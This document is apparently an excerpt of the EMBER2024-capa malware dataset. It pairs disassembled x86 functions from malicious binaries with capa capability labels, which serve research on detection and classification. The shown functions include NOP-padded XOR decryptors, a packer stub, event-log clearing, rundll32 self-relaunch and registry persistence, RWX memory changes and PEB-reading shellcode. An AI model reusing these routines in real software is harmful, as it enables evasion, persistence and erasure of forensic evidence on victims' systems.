joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0xb7773a8
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x432024
mov eax, section..data
nop
nop
mov ebx, 0x42f314
nop
mov ecx, 0x17c03d24
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
mov ecx, 0x684f1711
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e3d0
mov ecx, 0x33a123f3
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x409f00
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x7000]
push edi
jmp 0x409f1a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x409f21
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x409f10
mov eax, 1
add ebx, ebx
jne 0x409f33
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x409f28
jne 0x409f44
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x409f28
xor ecx, ecx
sub eax, 3
jb 0x409f58
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x409fca
mov ebp, eax
add ebx, ebx
jne 0x409f63
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x409f70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x409f94
inc ecx
add ebx, ebx
jne 0x409f80
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x409f75
jne 0x409f91
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x409f75
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x409fb4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x409fa5
jmp 0x409f16
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x409fb4
add edi, ecx
jmp 0x409f16
pop esi
mov edi, esi
mov ecx, 0x207
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x409fd2
cmp byte [edi], 0
jne 0x409fd2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x409fd7
lea edi, [esi + 0x7000]
mov eax, dword [edi]
or eax, eax
je 0x40a046
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xa000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xa050]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40a004
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xa054]
or eax, eax
je 0x40a040
mov dword [ebx], eax
add ebx, 4
jmp 0x40a021
call dword [esi + 0xa064]
mov ebp, dword [esi + 0xa058]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40a07a
sub esp, 0xffffff80
jmp 0x40313f
Function at 0x100023fa
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_printf]
push edi
push str.LoadFromMemory__r_n
call esi
push dword [ebp + 8]
call fcn.1000389d
mov edi, eax
pop ecx
test edi, edi
pop ecx
jne 0x10002429
push str.Cant_load_library_from_memory._n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
jmp 0x10002448
push str.PluginMe
push edi
call fcn.10003cd2
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call eax
push edi
call fcn.10003d5d
add esp, 0x18
push str.LoadFromMemory_END____r_n
call esi
cmp dword [ebp + 8], 0
pop ecx
pop edi
pop esi
je 0x10002468
push 0x8000
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 1
pop eax
pop ebp
ret

Function at 0x1000265e
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
dec eax
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
je 0x100026ab
dec eax
je 0x100026a0
dec eax
je 0x10002693
dec eax
jne 0x100026dd
mov eax, 0x10006e5c
mov dword [ebp - 8], eax
jmp 0x1000269b
mov eax, 0x10006e5c
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
jmp 0x100026ab
mov eax, 0x10006e5c
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 3
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x100026d4
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x100026b4
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000273d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push 0x104
push eax
push dword [0x10006e60]
call dword [0x10006e8c]
cmp dword [ebp + 8], 0
je 0x10002785
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push str.Rundll32___s__DllUpdate__s
push eax
call dword [0x10006eec]
add esp, 0x10
jmp 0x100027a1
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x208]
push str.Rundll32___s__Uninstall
push eax
call dword [0x10006eec]
add esp, 0xc
lea eax, [ebp - 0x208]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov dword [0x10006f94], 1
leave
ret
Function at 0x1000336e
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8a0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov esi, 0x100
lea eax, [ebp - 0x39c]
push esi
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push esi
lea eax, [ebp - 0x39c]
push dword [edi]
push eax
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
lea eax, [ebp - 0x39c]
push 0x100032f7
push eax
call dword [0x10006f08]
xor ebx, ebx
mov dword [0x10006f90], eax
cmp eax, ebx
je 0x10003585
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 1
push ebx
push 2
call fcn.1000318a
push ebx
push ebx
push 4
call fcn.1000318a
add esp, 0x18
lea eax, [ebp - 0x198]
mov dword [ebp - 0x198], 0x94
push eax
call dword [0x10006ec8]
cmp dword [ebp - 0x188], 2
jne 0x10003566
cmp dword [ebp - 0x194], 6
jae 0x10003419
call sym.MainDll.dll_MainThread
jmp 0x10003566
lea eax, [ebp - 0x104]
mov esi, 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x104]
push 0x1000660c
push eax
call dword [0x10006ea4]
lea eax, [ebp - 0x104]
push str.sert
push eax
call dword [0x10006ea4]
lea eax, [ebp - 0x104]
push str..exe
push eax
call dword [0x10006ea4]
lea eax, [ebp - 0x29c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x29c]
push str.Rundll32.exe
push eax
call dword [0x10006ea4]
lea eax, [ebp - 0x104]
push 1
push eax
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x104]
push eax
call dword [0x10006eb0]
cmp eax, 0xffffffff
jne 0x100034cb
call dword [0x10006e98]
cmp eax, 2
jne 0x100034cb
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x104]
push eax
call dword [0x10006eec]
pop ecx
pop ecx
lea eax, [ebp - 0x4a0]
push esi
push eax
xor edi, edi
push dword [0x10006e60]
mov dword [ebp + 0xc], ebx
call dword [0x10006e8c]
lea eax, [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x8a0]
push str._s___s__MainThread
push eax
call dword [0x10006eec]
add esp, 0x10
push 0x3e8
call dword [0x10006ea0]
lea eax, [ebp + 0xc]
push eax
push edi
call dword [0x10006ecc]
cmp dword [ebp + 0xc], 0x103
je 0x10003547
push edi
call dword [0x10006e9c]
push 0xbb8
call dword [0x10006ea0]
lea eax, [ebp - 0x8a0]
push eax
call fcn.10001fbd
pop ecx
mov edi, eax
mov eax, dword [0x10006f8c]
cmp eax, 3
je 0x10003556
cmp eax, 1
jne 0x10003507
push 0xffffffffffffffff
push edi
call dword [0x10006eac]
push edi
call dword [0x10006e9c]
push 0x64
call dword [0x10006ea0]
mov eax, dword [0x10006f8c]
cmp eax, 3
je 0x10003585
cmp eax, 1
je 0x10003585
cmp dword [0x10006f94], ebx
je 0x10003566
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x100036ba
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x29c
push esi
mov esi, 0x144
push edi
push esi
lea eax, [ebp - 0x198]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x29c]
mov byte [ebp - 0x198], 0xc8
push str.sert
push str.SYSTEMCurrentControlSetServices_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x197]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x197]
push 0
push eax
push 1
lea eax, [ebp - 0x29c]
push str.Group
push eax
push 0x80000002
call fcn.10004822
push 0x10
lea eax, [ebp - 0x14]
pop edi
push edi
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x2c
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
mov edi, dword [ebp + 8]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [edi + 0x48]
call dword [0x10006f84]
lea eax, [ebp - 0x10]
push 4
push eax
lea eax, [ebp - 0x174]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x170]
push 0x32
push eax
call fcn.100035ea
add esp, 0x18
lea eax, [ebp - 0x13c]
mov dword [ebp - 0x13c], 0x9c
push eax
call dword [0x10006ec8]
lea eax, [ebp - 0xa0]
push eax
call fcn.1000358c
pop ecx
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x54], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
push 0x14
pop ecx
call fcn.10004d40
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x8c], eax
call fcn.100031d2
mov dword [ebp - 0x88], eax
call fcn.1000366a
test eax, eax
setne al
mov byte [ebp - 0x84], al
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x7c]
push 0x14
push eax
call fcn.10003629
add esp, 0xc
lea eax, [ebp - 0x68]
push 0x10006514
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x198]
push esi
push eax
mov ecx, edi
call fcn.10001863
pop edi
pop esi
leave
ret
Function at 0x402010
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push ebp
push esi
xor eax, eax
push edi
mov ax, word [ebx + 0x14]
xor edi, edi
cmp word [ebx + 6], di
lea esi, [eax + ebx + 0x18]
jbe 0x40204d
mov ebp, dword [esp + 0x14]
push 8
push ebp
push esi
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
je 0x40204d
xor ecx, ecx
inc edi
mov cx, word [ebx + 6]
add esi, 0x28
cmp edi, ecx
jb 0x40202e
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x404020
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
push 0x411298
push esi
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
mov dword [esp + 0x14], ebp
je 0x4041b8
mov ebx, dword [esp + 0x20]
mov eax, ebx
and eax, 0x80000fff
jns 0x40405c
dec eax
or eax, 0xfffff000
inc eax
je 0x404076
mov eax, ebx
cdq
and edx, 0xfff
add eax, edx
sar eax, 0xc
inc eax
shl eax, 0xc
mov dword [esp + 0x20], eax
mov ebx, eax
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.MSVCRT.dll__filelength]
mov esi, eax
add esp, 4
and esi, 0x80000fff
mov dword [esp + 0x10], eax
jns 0x404099
dec esi
or esi, 0xfffff000
inc esi
je 0x4040ff
mov eax, 0x1001
sub eax, esi
jne 0x4040a8
push 4
jmp 0x4040a9
push eax
call sub.pluk.dll_HMALLOC
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4040fb
mov edx, 0x1000
xor eax, eax
sub edx, esi
mov edi, ebx
mov ecx, edx
mov ebp, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebp
mov ebp, dword [esp + 0x14]
push ebp
and ecx, 3
push edx
push 1
rep stosb byte es:[edi], al
push ebx
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebx
call sub.pluk.dll_HFREE
mov eax, dword [esp + 0x24]
mov edx, 0x1000
sub edx, esi
add esp, 0x14
add eax, edx
mov dword [esp + 0x10], eax
mov ebx, dword [esp + 0x20]
push 0x8000
call sub.pluk.dll_HMALLOC
mov edi, eax
add esp, 4
test edi, edi
mov dword [esp + 0x20], edi
jne 0x40412a
push 1
call sub.pluk.dll_void___cdecl_PlukError_long_int_
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov ecx, 0x2000
xor eax, eax
cmp ebx, 0x8000
rep stosd dword es:[edi], eax
jge 0x404187
test ebx, ebx
mov esi, ebx
jle 0x404167
mov eax, dword [esp + 0x20]
push ebp
push esi
push 1
push eax
call dword [sym.imp.MSVCRT.dll_fwrite]
add esp, 0x10
cmp eax, esi
jne 0x40418e
sub ebx, esi
cmp ebx, 0x8000
jge 0x404187
test ebx, ebx
mov esi, ebx
jg 0x404141
mov eax, dword [esp + 0x20]
push eax
call sub.pluk.dll_HFREE
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x18]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
mov esi, 0x8000
jmp 0x404141
mov ecx, dword [esp + 0x20]
push ecx
call sub.pluk.dll_HFREE
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
mov edx, dword [esp + 0x24]
push edx
push 0x37
call sub.pluk.dll_void___cdecl_PlukError_long_int__char__
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
push esi
push 0x41
call sub.pluk.dll_void___cdecl_PlukError_long_int__char__
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x409500
Capabilities:
Set registry value

Disassembly:
mov eax, dword [esp + 4]
lea edx, [esp - 0x400]
sub esp, 0x404
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x409513
mov edx, dword [esp + 0x40c]
push edi
test edx, edx
je 0x40956d
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
mov ax, word [0x4119a0]
or ecx, 0xffffffff
mov word [edi - 1], ax
mov edi, edx
xor eax, eax
push esi
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea ebx, [esp + 0x10]
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop esi
pop ebx
lea eax, [esp + 4]
push 0
push eax
push 0
push 0xf003f
push 0
push 0
lea ecx, [esp + 0x20]
push 0
push ecx
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x40959f
xor eax, eax
pop edi
add esp, 0x404
ret
mov edx, dword [esp + 0x414]
test edx, edx
je 0x4095cd
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
mov edx, dword [esp + 0x420]
push 1
push eax
mov eax, dword [esp + 0x14]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
add esp, 0x404
ret

Function at 0x4095f0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
sub esp, 0x110
push ebx
mov ebx, dword [esp + 0x11c]
lea eax, [esp + 4]
push ebp
mov ebp, dword [esp + 0x11c]
push eax
push 0x2000000
push 0
push ebx
push ebp
mov dword [esp + 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4096b6
lea ecx, [esp + 0x10]
push esi
push ecx
mov ecx, dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push eax
push eax
push eax
lea edx, [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push 0
push ecx
mov dword [esp + 0x30], 0x100
call esi
test eax, eax
jne 0x4096a2
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x1c]
push edx
push eax
call fcn.004095f0
add esp, 8
test eax, eax
jne 0x409697
lea ecx, [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
push eax
push eax
push eax
lea eax, [esp + 0x2c]
push edx
push eax
push 0
push ecx
mov dword [esp + 0x30], 0x100
call esi
test eax, eax
je 0x409658
jmp 0x4096a2
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
pop esi
pop ebp
pop ebx
add esp, 0x110
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0xadc19ef
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x7a957a09
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
jl 0x433030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x7eee43ef
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x7dc7acb
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x7ffe5425
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword fs:[0x30]
cld
and bh, 0xff
clc
push edx
cdq
pop edx
cld
and bh, 0xff
nop
pushal
inc eax
popal
nop
nop
call 0x7ffe5442
pop edx
cld
and al, 0xff
clc
xor dx, dx
and al, 0xff
stc
add edx, 0xd5e0
push es
pop ds
clc
xor ecx, ecx
and bh, 0xff
cld
mov cl, 0x1e
lea esp, [esp]
push eax
pop eax
cld
xor byte [ecx + edx], 0x50
loop 0x7ffe5464
stc
clc
push dword fs:[0x24]
cld
and bh, 0xff
pop dword [edx + 0xa]
push edx
cdq
pop edx
mov cl, 0xff
cld
push edx
loop 0x7ffe5480
clc
stc
mov dword [edx + 0x11], 0xffffacbb
nop
nop
nop
mov ecx, dword [eax + 0x2c]
push edx
cdq
pop edx
clc
stc
cld
mov dword [edx + 0x1b], ecx
cld
mov dword [edx + 0x100], ecx
stc
push edx
cdq
pop edx
cld
mov dword [eax + 0x2c], esp
pushal
inc eax
popal
stc
cld
push 0
cld
lea esp, [esp]
nop
push 0
add eax, 0
cld
clc
push 0
and bh, 0xff
push 0
cld
push 0x30
clc
nop
push 0x20
cld
push edx
cdq
pop edx
push 0
nop
stc
push 0
push es
pop ds
clc
add edx, 0xffff7f30
stc
lea esp, [esp]
nop
cld
push edx
cld
add eax, 0
stc
stc
push edx
push 0
cld
cld
cld
clc
call dword [edx + 0x8213]
clc
nop
clc
add esp, 0x3f8
xor eax, eax
clc
cld
cld
inc eax
cld
pushal
inc eax
popal
ret 0xc
Function at 0x40133e
Capabilities:
Get local ipv4 addresses
Get socket information
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push edi
xor eax, eax
cmp dword [ebp + 0xc], 0
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
mov al, byte [ebp + 0x10]
mov dword [ebp - 4], 0x10
mov byte [ebp - 0x10], 5
mov byte [ebp - 0xf], al
mov byte [ebp - 0xe], 0
mov byte [ebp - 0xd], 1
pop edi
je 0x40138d
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov ax, word [ebp - 0x1e]
mov word [ebp - 8], ax
push 0
push 0xa
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
leave
ret